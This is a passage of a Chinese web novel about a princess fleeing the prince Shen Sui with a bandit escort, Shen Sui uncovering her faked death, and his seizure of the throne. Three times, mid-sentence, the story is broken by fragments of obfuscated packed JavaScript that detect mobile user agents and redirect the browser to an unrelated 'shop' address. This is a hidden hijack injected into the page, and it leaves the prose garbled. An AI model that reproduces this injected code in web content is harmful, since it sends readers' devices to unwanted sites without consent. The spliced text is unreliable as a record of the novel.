郑周笑了一声,“算你聪明,我把你们的金银首饰全部典当了,钱给了他们,在七日之前寄了信到帝都,如果七日之后还没有人带着银票来赎你们,就把你们杀掉。现在先在山里住几天。” 乌春奇道:“这山里难道还有女儿家住的地方吗?” “自然是没有,但在这山里,有男人的地方就不会没有女人,你自然是跟男人们住在一起。” 乌春努力维持冷静,“那我跟你住吗?” 郑周舔了舔唇,“你以为我很安全吗?” “起码不会有性命之忧。”乌春看出来,这男人也就是看着凶了些,其实心肠不坏,又要求道,“还有,我的两个丫鬟也必须跟我一起。” 郑周蹙起眉头,“这恐怕难,我的屋子就这么一点大,住了你们三个人,那我呢?” 乌春道:“我可以给你钱,如果我能从这里逃出去的话,甚至可以给你官做,如果你愿意离家乡远的话。” 郑周饶有兴趣,“哦?你能给我什么官做?在军营里当伙夫吗?我听说成统将军为朝廷招兵买马,看来当朝真是缺人了。” 乌春敏锐地捕捉到关键,“你什么意思?” “你不是成统的女儿吗?” 坏了! 乌春忽然意识过来,如果郑周已经给帝都的成将军府上送了信的话,成将军一看便能发现端倪,成府的两个女儿可就在他身边,如此若要追究下去,将她的外貌特征都查出来,再传到沈绥那里,岂不是…… 不不不!一定不会的!怎么会有那么邪门的事情! 只要她在帝都留了尸体,哪怕外貌同她再相像,也不会想到她! 乌春安慰自己。 “怎么不说话?我倒要怀疑你了。”郑周打量她道。 “谁跟你说我是成将军的女儿了?” 郑周微微愕然,“可帝都我只听说过成统的名号。” 乌春不愿多言,“整个朝廷又不是只有成统一个将军,成统将军名声远扬罢了。” 郑周心里很不是滋味,他跟乌春简直是两方天地的人,“无妨,又不会让你非得等到七日,不出五日,我带你走。” “说了就不准反悔了,答应你的事我会做到。” …… 郑周的屋子算是山里干净整洁的了,但依旧破烂简陋,乌春将郑周赶到地上睡,自己和玉梨一起睡,惊莲拿两把椅子搭成床睡。 他也算是个安分人,没对她们动手动脚,最多也就是总是看乌春,这或许是他这种快三十岁了还没成家的男人的秉性。 几日的时间很快就过去了。 到了第四日夜里的时候,乌春正和郑周谋划着怎么逃,外面响起了敲门声。 几人对视一眼,郑周去开门。 门外是个醉醺醺的汉子,浓密的胡子,脸上的肥肉堆成山似的,讲着乌春她们听不懂的西幽话,郑周和他说着说着就提高了嗓音,没几句的功夫,两人竟然打起来了,两相肉搏的声音令人心惊。 一刻的功夫后,只听见急促的喘息声,之后便没了动静。 乌春心里忐忑,怕郑周出什么事,且不说他帮了她不少,若是没了他,根本逃不出去! 推开门看,只见郑周鼻下留了一长串血,像是将毛笔压着画出来的,手臂上一片青黑。那西幽人躺在地上,张着嘴瞪着眼,已然是死了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546500|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“郑周!” 郑周随意抹去鼻下的血,嘶哑道:“今夜就走!要是被人发现了他死在这里,我们都走不了了!快!” 乌春和两个丫头匆忙收拾好东西,跟着郑周在狭窄的山道间疾驰,这一条小道只有他们山里的人知道,很快郑周就带着她们逃下山。 春夜岑寂,天星如灯。 又走出几里远,到了一间客栈歇下来,乌春才敢问郑周:“那个西幽人刚刚要做什么?你为什么杀他?” “他要睡.你。”郑周毫不掩饰地回答,一边随手从裤腿扯了块布,缠在自己手臂上。 乌春当即耳朵红了,“你能不能说话文雅一点?” “我从小没爹没娘,靠接悬赏单子过日子,当时年纪小,也不能接什么追捕命案凶手的任务,就专挑偷富贵人家的钱财的活儿。后来被西幽人捡走了,就帮他们做事。你觉得我能说出什么好话?” 乌春好奇,“那你为什么这么穷?” 郑周侧过头看她,有几分痞里痞气的意味,“你当我是什么人?我可是好人,那些钱自然是分给穷苦百姓了。还有,我从西幽人手底下救了不少大梁人,这群西流氓也是真的蠢,骗他们易如反掌。” 乌春不说话了,倒不是在感动郑周的仗义之举,而是在想,这样的人如果和她一起上路,是不是今后就不会再有被山贼抓走的担忧了? “郑周。”乌春说话的声音都变轻了,听起来像是莺鸟的歌声,“你之后有什么打算吗?” “不在山里呆了,送你回帝都。” 乌春微微奇异他答应得如此之快后,又连忙拒绝道:“你不必送我回帝都,我不想回去。其实我是骗你的,我是将军的女儿,却不是大梁将军的女儿,你听说过南疆黎将军吗?” 郑周诧异,“原来你是南疆人。” 乌春怕他反悔,“你说了要送我回去,我回帝都不是回,我回南疆才是回,你要送我回南疆。” 郑周笑,“可以。去哪都可以。” 他转过头来看她,那眼神跟寻常男子看女子的眼神截然不同,那是带着几分兽.欲的、直白的、热烈的眼神,像一匹狼。 乌春被看得发慌,回到了自己的房间。 …… 帝都。 当三位两朝元老被弹劾,并且罪证确凿,圣上不得不将已过花甲之年的元老们贬谪到偏远之地时,成统终日紧蹙眉头。 太快了。 沈绥做事也太快了。 他是能为了一个目的筹谋二十年的人,因他事事都求完美,誓必要能成功他才会一朝揭竿而起,不容许失败。可现在,他却像是孤注一掷拿命在赌。 若再筹备两年,定然把握十足。 现在……成统也说不好。 就连成统也察觉得到,自从乌春死后,沈绥像是变了个人似的,日夜筹谋,每日休息的时间几乎只有两三个时辰,其余时间一心扑在他的报仇大业上。 仿佛这样,就能忘掉她。 44. 她没死 成府。 成静仪被沈绥退婚之后,只在闺房中掩面泣泪了三日,就重新谋划起来。 她要振作起来,事情还没有成定局,要过上好日子定然不是一件容易的事,梦中煞费苦心嫁给沈珩已经很不容易,要想攀结沈绥就更不容易。 她总是忍不住想,要是南疆公主没死就好了。要是没有那场火,她就可以顺利嫁给沈绥了。 反正她又不图沈绥的心,只图他的权势地位钱财。 这日成静仪自外面打点关系回来,在成府门口就看见一个驿使打扮的男人给侍卫递上一封信,也不知道信是寄给谁的,侍卫正一筹莫展之时,成静仪将他手上的信接过来。 “你又看不懂字,也不知道给谁,不如让我看了,也好让你交差。” 成静仪看那信,越看越不对劲,眉头皱了起来,她身边的丫头秋葵问:“小姐,这信有什么问题吗?” “信上说,爹有一个走失的女儿在安乐镇的迷仙山,如果不在此信上写的日期之前送三千两银子到山下,就杀了她。” 秋葵奇道:“将军走失的女儿?成府不就您和大小姐两个女儿吗?这是哪个蠢人想勒索,也不知找个更像样点的理由。” 成静仪将信翻到后面,“这里还有一幅画,画的就是那个‘女儿’。” 作画的人画技并不如何,但面部突出的特征没少,那张脸应当是生得好看的,脸型瘦,眼睛大,一点小痣也没有,单凭这个认不出来人,于是作画的人又加了配饰,耳朵挂着一对海棠花镂空耳环,旁边标注了“银”字,代表银质,脖子上挂着一个圆铃铛,铃铛的花纹复杂,也是银质的。 银铃铛让成静仪想到了一个人。 那日拿着密函的副本去找沈绥时,他的屋舍内一片狼藉,地上就有缠绕着红线的银铃铛。 跟画上的几乎一模一样。 沈绥一个男人总不至于喜欢这些东西,再加上铃铛上的纹路精美秀气,刻了一些大梁没有的花草,成静仪几乎可以确认,那是南疆公主的东西。 而南疆,也盛产银制品。 难道…… 成静仪如蒙雷劈,心头一震,连忙将信藏好! “小姐,这幅画有什么蹊跷吗?” “你不要同任何人说起这封信,你就当这封信不存在,今日没有驿使来将军府,给外面侍卫点银子,让他们嘴巴严实点。” 秋葵为难道:“可是小姐,您哪儿来那么多银子啊,您最近为了和帝都的贵族搞好关系,送出了不少礼物,再要给侍卫,您又要克扣自己的吃穿用度了。” 成静仪丝毫不心疼,“明面上虽然我损失了不少,可关键时候,这些人说不定就是我保命的手段。你准备准备,过几日我要去找三殿下。” “啊?您还找三殿下啊?!上次一身是伤的回来,难道忘了吗?” 成静仪笑,“这次可不一样。” …… 沈绥最近很少回毓宁宫。 在毓宁宫的时候,总会想到她。在花树下的时候,他想到她伫立在树下等他的身影;走入大门时,他想到她在风雪中像个雪团子似的裹着狐裘的模样;在殿内,几乎处处都有他和她的痕迹。 可是,她死了一个春天。 墨滴在纸上缓缓晕染开。 “殿下,成二姑娘有要事找您。” 待门外一声唤,沈绥才回过神来,将毛笔搁下,宣纸揉成一团,哑声道:“不见。” “成二姑娘说了,若是您今日不见她,日后会后悔一辈子的。” 沈绥冷笑,“她不怕死吗?上次差点把她杀了,她也还敢来?” “成二姑娘又说,和……皇子妃娘娘有关。” 沈绥带着几分愠怒道:“她是不是真的觉得看在成将军的面子上我不会杀她,所以连这种借口都敢说?” “让她滚。” 报信的下人不敢多言,连忙跑出去通报了。 过了一刻时间,沈绥觉得头疼欲裂,揉了揉额角之后,站起身,对外面的下人道:“让成静仪进来。” 成静仪果然没走,片刻功夫就进来了,料到沈绥不会放过丝毫关于乌春的消息,将信递了过去。 沈绥只看了两眼,手指便开始微微颤抖,对着成静仪的嗓音依旧是冷静的,“你在何处收到的信?” 成静仪将由来说了。 沈绥将信轻轻放在桌上,闭了闭眼,“你出去,若这是真的,我保你日后不死。” 成静仪退出去。 沈绥将信反复读,尤其是那幅画,他死死地盯着,目光几乎能将这平平无奇的纸灼烧出一个窟窿。 他的外表依旧很冷静,除却目光和手指在颤抖,很难让人觉察出他的内心正翻涌着滔天巨浪,他对人吩咐道:“去找人将皇子妃的尸体掘出来,然后找南疆人,要会巫蛊之术的……跟那人说,在我面前使用巫蛊之术,不算违背大梁律令。” “快去。” “是!” 到了三更夜里,常安几乎跑遍了整个帝都,碰着查宵禁的士兵就出钱打点,一晚上花了沈绥一百两银票,终于找到了在帝都的南疆人。 那个南疆人甚至是因为当年南疆和大梁和亲,大梁推行律令,南疆在大梁定居四年以上者,往后征收的赋税少九分之一,才在大梁定居的。 彼时,太监们刚刚将那具尸体挖了出来。 沈绥坐在一边,手上捏着一个银铃铛把玩,月光为他的面容镀了银边,颇有玉树君子林下高士之风。 下人们都不知道沈绥又在犯什么病,前不久才下的葬,现在又要挖出来。 常安对九路道:“你去瞧瞧那具尸体有没有什么蛊术?” 九路点点头,上前打量已经开始腐烂的尸体,从包裹中取出一个小瓶子,倒了几滴水在尸体上,只听嘶嘶响声,一缕白气笔直地升起,随后细小的红色虫子钻了出来,在尸体上蠕动着。 沈绥站起身来,神情瞧不真切。 九路用并不熟练的大梁官话道:“三殿下……这只、只尸体,被人种了塑容蛊呐,可以让死人的容貌改变的嘞种……蛊术。” “南疆有谁会这种蛊?贵族?平民?” 沈绥的气势让九路更结巴了,“这个很常见的叻,只要学过,就会用。因为是给尸体下的,没什么多、多用处,所以现在知道地人少。” 沈绥一拂袖子,常安就给了九路一张银票。 “多谢殿下。”九路退出去。 沈绥猛地将手边的椅子掀倒。 后院内跪了一地,众人提心吊胆,气都不敢出,生怕被殿下身边肃杀冷凝的空气冻成冰雕像似的,后背冷汗直冒。 可片刻后,沈绥竟然笑了出来,他平日里笑容很少,衬得现在笑得胸腔颤抖的模样十分诡异,笑着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566450|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,他嘴角压下去,唇紧紧抿着,双目几乎要流出血泪来。 她还活着。 她还活着! 为什么?为什么要骗他?就这么恨他吗?!宁愿让他以为她死了,也要从他身边逃走?她要去哪儿?回南疆吗? 沈绥的心中泛起阵阵钝痛,回想起那十几日与一具不知名的尸体共处一室,他只觉荒唐,觉得自己太卑微了,烂得同泥一样,她是艳红的春花,而他只是低贱的烂泥。 她现在在哪?在安乐镇么? 那是个藏着不少西幽人的地方。 沈绥命令道:“明日上报,西幽人已潜入大梁,在宁州安乐镇作乱,请求圣上派兵前往镇压。” 最好,别让他找到她。 …… 另一厢,乌春和郑周一路有惊无险,逃过了西幽人的追杀,出了安乐镇。 不敢再图快走山路,郑周早些年混迹过不少地方,知道安全又快捷的路线,乌春跟着他走,也就和沈珩安排的人失去了联系。 再往后,还有四个州要跨越,少说也得数月。 没了银子,一行人还得时不时停下来挣路费。 郑周若是要接悬赏,也并不合适。他一人要是走远了,谁知道乌春一个女儿家会遇到什么麻烦。 好在乌春会医术,找了个医馆打杂。 在路上也经过了好几家医馆,都看乌春像是哪家的贵小姐,怎么可能懂医术,态度极其恶劣,乌春也不愿意受气,找到了一家女郎中开的小医馆做事。 医馆里刚好有两间房空闲,一间房给郑周住,一间房给乌春和两个丫头住,来的人不多,日子也算清闲,就是钱挣得少,乌春打算在这里呆一个月再走。 黄翠也是头一回见乌春这种奇人,长得细皮嫩肉的,一看就不是寻常百姓,却有一手医术,身上甚至没多少钱,带了个汉子,却也不是她的丈夫,也不像哥哥,好奇之下,就将乌春收下了。 “当今这世道不易,外面乱得很,你平日里出门之前最好在脸上抹一层黄粉,点几颗小痣,”黄翠为乌春将袖子挽起来,头发用一块头巾缠好,之后一打量,赞道:“回春馆的美娘子诶,病人一瞧药到病除!” 乌春反倒不好意思了,“翠娘子少打趣我。” 黄翠看着她笑,一副泼辣劲,“我看你也像是有过男人的,是那个吗?” 她指了指刚刚走出回春馆去当车夫做工的郑周。 乌春羞红了脸,“翠娘子说得哪里话,他只是送我出远门罢了,我和他没什么关系。” 黄翠抓起一把瓜子,“就知道不是他。那你男人呢?怎么让你一个人出远门?吵架了?还是他在外面有人了?” 有时候,旁人的热情会叫乌春无所适从,恨不得从地上找个洞钻进去,偏偏翠娘子待她又好,她也不愿撒谎,“我不想在他身边待了,想出来走走。” “你不是这里的本地人,他也不来找你,不怕你出事,要我说,这男人不要也罢。唉,这世道太乱了,盐价越来越贵,前些年这里闹过瘟疫,朝廷就派人送来了一点米汤,死了不少人,这回春馆里的药差点都断了货头。”黄翠吐出瓜子皮,“不提了,干活吧。” 乌春久居深宫,并不知晓世道艰难,这样看来,沈绥谋反称帝竟然是大势所趋。 前世这时候,还有一年多的时间沈绥宫变。 那么这一世呢? 45. 寻她 白日里,郑周去做车夫,一来能挣钱,二来能熟悉咸丰城的大街小巷,夜里才回来,回来的时候恰巧能碰见乌春房中的灯亮着,亮了片刻就熄灭了。 郑周今日赶了早回来,手里拎着个盒子,递给乌春。 一边煎药的黄翠娘子打趣道:“哟,这是谁的情郎回来了!指不定在外面惦记了一天呢!” 乌春脸红嗔道:“娘子少打趣我,我就不信娘子没有过男人。” 将盒子打开,里头放着一包绿豆酥,还有一朵荷花的花苞,上面带着莹润的几点露珠。 只听黄翠又道:“诶,你这话说得,我今年二十六七了,怎么可能没有过男人,只不过后来那个男人去了帝都,我想过联系他,可是我又认不得几个字,信也不知道怎么写,只好找读书的先生帮忙,我说他写。结果那个男人一封信也没有回过,我跟他就此了结了。” 郑周依旧冷着脸,“今日得了一个有钱人家的赏,多赚了些,顺手买的。”他低下头,蛮不自在地摸了摸鼻尖。 乌春吃了一块绿豆酥,对他笑道,“好吃,谢谢你,郑周,这一路上我还真不知道该怎么感谢你了。” 郑周抬起头,“感谢我的方法多得是。” “你放心,你要是肯在南疆呆,我保你余生衣食无忧。”乌春喜欢大梁民间的绿豆酥,嘴里鼓囊囊的,郑周看得心头荡漾,“比起许诺我地位金钱,也还有别的办法。” 此时,翠娘子眼珠子狡黠地一转,默默地退了出去,只留他们二人相处。 刚刚入暑不久,风吹在脸上是温热的,郑周身上覆了层薄汗,淡淡的汗味和男人独特的炽烈气息似有似无地萦绕在乌春身边。 郑周见乌春虽裹着头巾,身着寻常百姓的布衣,却难掩清丽姿色,头巾下几缕发丝如花蕊轻轻垂下,袖子挽起露出一截纤细雪臂,喉结滚了滚。 乌春对郑周感激是真,却也一看便知郑周对她多半有心意,路上说不定还有不少用得着他的地方,她既不说自己喜欢他,也不说自己不喜欢他。 “别的办法?什么办法?”她笑得一派天真。 郑周往前走一步,乌春下意识地往后缩了缩脖子,脚却控制住了没动。 “一定要我说出来吗?” 乌春眨了眨眼睛,“你要我以身相许?” 郑周不说话了。 乌春道:“我是不愿意和我从前的男人过我才逃出来的,我若是要再嫁人,一定要能过得比从前好才行。你能娶我吗?三书六娉,八抬大轿,锦衣玉食?” 乌春看着泄了气的男人,叹了口气,“你不能。” 郑周不肯认命,挺起肩,“现在不能,不代表日后不能。” 说完就出去了。 一个月的时日一晃眼就过去了,乌春已经收拾好了东西准备再次上路,翠娘子却忽然染了风寒,乌春便留下来照顾她,耽搁了几天,郑周忽然带回来消息。 “还记得蛰伏在山里的那群西幽人吗?我们逃出来之后,他们派过不少人来追杀我们,现在消息全无了。” “大梁朝廷派兵镇压了?” 郑周如实陈述,“正是。我也没想到朝廷这次居然有所作为,这一次领兵的竟然是贵族子弟,当今的三皇子。” 听到三皇子这几个字,乌春手里端着的药汤骤地泼了一地,手指传来刺痛之感才恍然回过神,慌乱着捡地上的木碗。 郑周皱眉,“怎么了?你别动,先去给手抹点药,我来。” 乌春给手抹药,郑周将药汤重新盛好后给翠娘子送去,出来后问:“三皇子是你什么人?” 乌春不答反问,颇有几分慌乱无措,“你说大梁朝廷从来不管这些欺压百姓的西幽人,为何这一次出手管了?而且还是……三皇子带兵。” “那我便不知了。”郑周打量着乌春,不动声色,“你很怕三皇子?” 乌春紧紧捏着手,脸色苍白,郑周一把将乌春交握在一起的手拉开,乌春方看见原来自己被烫伤的地方被捏得渗出了血。 “看着我,回答我。” 乌春抽回手,喃喃道:“我和他有仇。” 郑周看着空落落的掌心,不依不饶,“你一个南疆将军的女儿,为何会和大梁三皇子有仇?” “你不要问了!这同你无关!”乌春厉声道。 她的情绪太激动,郑周被她的叫喊声弄得怔愣住,乌春抬手抚了抚额角,“抱歉,我只是想起了一些不愉快的事情,我想往前看,你不要再问我关于三皇子的事了。让我休息会吧。” 乌春回到自己的房间,惊莲和玉梨刚刚烧好水沐浴,见乌春面色惨白如纸,问道:“殿下,您怎么了?” “沈绥他发现了。”乌春满心绝望,说话似乎都声嘶力竭,“他发现我没死,并且找到了仙宁山,还将那里的西幽人都杀了……他已经过了仙宁山了,这里距离仙宁山只有十日不到的路程,若是他快马赶来,随时都有可能找到我!” “三殿下杀西幽人说不定只是巧合呢,”惊莲也有点慌,“您别想太多。” “哪来的巧合,他手里还在查当年谢贵妃的案子,在帝都又方便……”乌春的话头戛然而止,她不能透露给惊莲沈绥将要谋反的事情,“总之他怎么可能跑到这么远来杀西幽人!定是发现了端倪!” 惊莲安慰道:“您别慌,我们明日就赶路,翠娘子的病已经好得差不多了,这些天攒的盘缠也够我们再走一个州了,只要离宁州远了,帝都的人就不好查到您。” 这一夜,乌春自然睡得不安稳,满心想着在毓宁宫中的日子——若是沈绥知道了她欺骗他,按照他那性子,她的后半生岂不是要被困在毓宁宫了? 先不论她一直向往浪荡天涯的自在生活,只要在毓宁宫,日后沈绥登基,她就有可能重蹈上一世的覆辙。这一世没有沈珙,却也有可能有其他人杀她! 越想越觉得心慌,翌日的清晨,乌春便收拾东西打算走,犹豫着敲郑周房间门的时候,房门吱呀一声打开。 “走罢,你们几个姑娘家的没有男人在旁边怎么去那么远的地方?”郑周什么也没问,拎着一个麻布包就往外走。 乌春觉得自己反倒显得小气卑劣了,“郑周,谢谢你。昨日是我不好。” 一行人上路,所幸没有遇见大梁的官兵,在三日之后出了宁州,还剩下三个州的脚程。 沈绥是在她们刚刚离开医馆那日的傍晚赶到的。 能查到这一带已经十分不易,沈绥骑着马,在回春馆前停下了。 沈绥自然能够想到,乌春被西幽人绑架之后,西幽人首先抢走的便是她的财物,不知用了什么法子逃出来,在仙宁山搜了一圈都没有发现她的身影,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583763|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必是已经离开很久了。既然没了钱财,她要回南疆,一定要靠自己挣钱,她有什么能够挣钱的本事呢? 医术。 沿途几乎所有医馆沈绥都问过,乌春样貌不俗,但凡见过的掌柜都有几分印象,一路问下去,竟然也将她的路线问了个大概。 还剩下这家回春馆。 常安屁颠屁颠从马上下来,叩响了回春馆的大门,里面的郎中似乎病了,咳嗽两声之后开门,乍一对上她的视线,常安却怔住了。 “翠儿?” 黄翠亦是愕然,“……是你?” 原来常安就是翠娘子从前的男人!后来跟着沈绥做事,便再没有联系到翠娘子了。 翠娘子眼里霎时布满泪光,“你来做什么!你不在帝都过你的逍遥日子,跑我这来做什么?有病的话找别的郎中,别来找我!我谁都可以治,就是不治你!死男人,负心汉!” 常安三言两语说不清,想起当年的事,只觉愧对翠娘子,刚想辩解一二,门却从内反锁上了。 “翠儿,你开门啊,我此行来是有公事要办,三殿下要找你问话呢!” “管他是什么三殿下二殿下,只要有你,通通不见!” 常安不好意思地冲沈绥笑笑,沈绥的眉头已经蹙了起来,常安只好道:“翠儿,不管我们的恩怨,你的性命要紧,三殿下可不是得罪得起的人!” 里面没声了,常安好声好气道:“你不开门也行,三殿下就问问你,有没有见过一个身量……身量大概在我鼻子,身材纤细,样貌清秀,年纪大概十七八的姑娘?” 里面翠娘子一听,瞬间想到了乌春,乌春走的时候告诉过她,若是有人问起她,一律说没见过,否则仇家寻来,她的性命不保。 翠娘子大声道:“什么姑娘?听你的描述,这姑娘生得还不错吧?漂亮的姑娘我只要见过都能记得,你说的这姑娘,我没见过。” 常安回过头,对沈绥摇摇头。 沈绥却翻身下马,“让她把门打开,进去搜。若是不开,本宫就只能用刀劈了。” 翠娘子将门猛地打开,“这就是你们贵族做事吗?!” 沈绥没空同她计较,带着人往里走,在上到二楼房间的时候,一间一间仔细看,翠娘子的心都提了起来。 在一间房间的床榻上,沈绥发现了几缕头发丝,他拈在指尖瞧着,然后挥挥手,青丝飘然落地。 沈绥冷笑道:“你这里住过病人?” “医馆住病人难道很稀奇?” 沈绥压下眉宇间那点躁郁,在医馆里四处打量起来,瞧见地上木板被药汤浸润还未来得及消除的痕迹,多看了两眼,正蹙眉思索着,外面响起哒哒马蹄声。 “殿下,成将军来信,说帝都出事了,圣上染了重病,国舅爷拉拢了不少人脉,恐生变故,让您这个当皇子的,赶紧回帝都,守护沈氏江山!” 沈绥收回视线,对翠娘子冷道:“你最好说的是实话。” 他走出了门,翠娘子的心终于送了下来。 这个男人太可怕了。 春妹子说是她的仇家,可她一个女儿家能招惹这样的贵族做仇家吗? 难道是她从前的男人? 如果是,那春妹子胆子也太大了——竟然敢从这样一个人眼皮子底下逃! 翠娘子不敢细想。 46. 江山易主 另一边,乌春和郑周出了宁州之后,在德州行进了一个月,一路上安然无恙,到达了赤城,照旧找了个医馆干活歇脚。 这回医馆的郎中是个儒雅温和的男人,年纪三十出头,家中有一妻一子,看乌春一行人长途跋涉也不容易,就收下了他们。 在赤城倒是没有西幽人,日子好不容易安宁了下来。 郑周对乌春的情愫愈发深刻,乌春睁一只眼闭一只眼,偶尔给郑周些甜头,又对他冷言冷语,将山野汉子的心紧紧捏在手里。 在这个世道,她的这些小手段只是为了生存。 ——细细想来,郑周又何尝不知道她心思,他既然愿意一路护送,想必她玩弄他感情的小把戏也不算什么。 夏日隐隐有衰颓的迹象,蝉鸣声淡了,梧桐的树荫泛着疲惫不已的浅黄,荷塘里蓬头三三两两,在秋日的第一片落叶降下之前,远方传来了一个震惊整个大梁的消息。 三皇子沈绥登基了。 不,应该是……谢绥登基了。 这个消息也是郑周带来的。 当时乌春正在晒白芨草,清凉的风吹在身上,郑周在她身后开口:“我今日听说,昔日的三皇子以清君侧之名将整个大梁改头换面,那个……”他不太了解这些,想了一会,“先帝突发恶疾驾崩,国舅爷陈山薨了,皇后也薨了,陈氏被连根斩除,泽安王被囚禁,当下坐在龙椅上的是曾经的沈绥,也是当年的……” 皇帝名字不能直说,郑周渐渐压低了声音,凑近乌春耳边,“谢简戈。我对于帝都当年的贵族不怎么知晓,听说谢简戈是谢家世子,谢将军唯一的儿子,也是当年苍山一役中唯一的幸存者。” “现在他舍弃了沈姓,重新姓谢,但名和字都没有改。” “他们说,谢简戈已死,从十七年前起,就没有谢简戈这个人了,以后活着的是谢绥,字辞宁。” 绥字是前朝皇帝给的,他会永远记得这个屈辱,而辞宁,或许是他这一生殚精竭虑的寥寥概括。 有什么东西在乌春的脑子里穿成了一串…… 难怪。 如果沈绥本就不是沈氏的血脉,那他在宫中的种种表现便能说得通了。 他对大皇子二皇子两个哥哥都没什么感情,就算是从小养在外面,七八岁方接回宫中,也跟沈珩相处的时间很长,沈珩为人善良宽厚,对沈绥自然诸多照顾,沈绥却始终像一块捂不热的冰,永远拒沈珩于千里之外。 对于陈皇后,他向来都是以最大的恶意揣度,甚至恨她到让她肚子里的孩子流产,又留下她的命,想来是想让她受尽折磨。能够这般恨陈氏的人,也许只有当年死的不明不白的谢家人。 苍山那一场火,就算是十几年后的现在,让人听了,也觉得胆骇,更别提苍山直到现在都寸草不生的事实了。 乌春一颗心狂跳不已,太突然了。 沈绥……不,应该叫他谢绥了。 谢绥在前世登基是在一年后,可这一世竟然早了。 因果相连,谁也不知道一点小事发生改变会对这一世造成什么影响,更何况是江山改朝换代这等大事! 郑周在旁边一连唤了她好几声,她才回过神来,转头对上郑周满是担忧的视线。 “我没事,只是有些害怕,他若是登基做了大梁的皇帝,手里的权力和人力便是大梁的至高,要想找一个人,更容易了。” 乌春嘴唇都发白,就算是她先前能冷静下来应对谢绥的追查,今时不同往日,一切都变了,若他真要找她,她逃回南疆只会困难更多。 不过,有件事她一直在想,谢绥登上帝位之后,会做些什么呢? 前世死得早,她不知道,料想谢绥应该会将大梁治理得井然太平,然后在他的龙椅上度过余生。 想象到底不如亲眼所见。 …… 一个月以前。 谢绥回到帝都时,正是风雨飘摇之际,朝廷如被阴霾笼罩,忠义的朝臣坚决反抗陈氏,后反抗无果,当堂撞死在房梁上。 他们的血从明德殿一路流,流过青石地砖,流过寻常街巷,流到了三千文人骚客的脚下,他们有老有少,群情愤慨,皆义愤填膺,联合入帝都,在皇宫的院墙外聚集,守卫皇宫的士兵不敢杀,却也没法劝退他们。 谢绥就是在这个时候出现的。 常安振臂高呼:“追随三殿下,清君侧,斩佞臣!” 这一句话,从帝都的中心一路传开,再加上骁勇善战的成将军煽动人心,谢绥很快被拥护起来,江玄凝和萧怀文联合查清当年谢阮阮的旧案,得出的结论是,谢软软在冷宫中不是病死的,是被陈皇后的人害死的。 这桩事是当时谢家军千里往回赶的导火索,若是谢阮阮不死,皇帝不写告知书,谢家怎么可能亡于苍山! 群众们的愤怒到了极致。 一朝之间,大梁的天,变了。 “陈氏狗贼,还谢家清誉!” “君主不察,请江山易主!” 那日的天不算凉,风吹在身上依旧让人满身鸡皮疙瘩,冷汗随着几缕冰凉的雨丝一同落下,血流满了整个皇城。 尸鸿遍野,血雨腥风中,这座巍峨的宫阙,在建造完成之后的二十六年,再一次易主。 陈山是困兽之斗,拼死一搏,在将死之前,耗尽所有的人力兵力,倒也和谢绥僵持了许久。 谢绥一路斩杀重重骑兵,却被一支沾染毒的长箭擦过了大腿! 毒必然是用最狠的,必然要致死,谢绥没有任何迟疑,剜掉了大腿的一块血肉,可即便如此,毒素依旧让他头晕目眩,几欲昏迷。 分散的兵力聚集,全力保护谢绥的安危,谢绥强撑之下,一路追杀陈山,到了寻常时候贵族狩猎的山林。 即便是死,即便是爬过去,他也誓要杀了陈山! 陈山身后徒有空山,孤立无援,已然是穷途末路,他大笑几声之后,“想不到,想不到,当年谢家竟然还有人没死!早知如此,我便是掘地三尺,也要找出谢简戈的尸骨!我陈山谋划半生,和谢家斗了半生,没想到竟然还栽到了当年一个小兔崽子手里!” “谢简戈,你应当不知晓,前朝之时,你的祖父和我的父亲是故交,我和你父亲当年在渭河的时候,年方十七,彼此约定好了日后互相去喝对方儿子的满月酒,后来你爹二十四岁有了你,已是镇国大将军,我却没去你的满月宴。陈氏和谢氏的交情恰好也断在那一年。” 谢绥强忍不适,冷声道:“少废话,你本该死在十七年前,杀我谢家人,你这些年,都是偷来的!” 陈山发出奸佞的大笑,“有一个东西,你一定想要的。” 谢绥冷眼看他。 “当年你爹在火海中杀出了一条路,找到了我这里,可我当然不会放过他了,我没有立刻杀了他,我先一根根砍了他打仗的手指,然后是他行过千里的脚趾,看他痛苦万状却强忍一声不吭,又断了他的四肢,直到他活活被疼死……”陈山在谢绥愈来愈阴鸷憎恶的目光中,从怀中取出了一个小盒子。 “这里面是他找到我的时候,都藏在衣服里完好无损的东西,他的衣服可是被烧得破破烂烂了。” 盒子里面装着一个金锁,那金锁和寻常孩童的平安锁不一样,上面的小字很独特,陈山怕谢绥隔得远看不清,大声念了出来:“简戈简戈,此嘉勿忘。” 陈山的笑容令人作呕,“这是在说你上战场有功,平定了战乱,所以以此为嘉奖勉励你?” 谢绥脑中有什么东西嗡了一声。 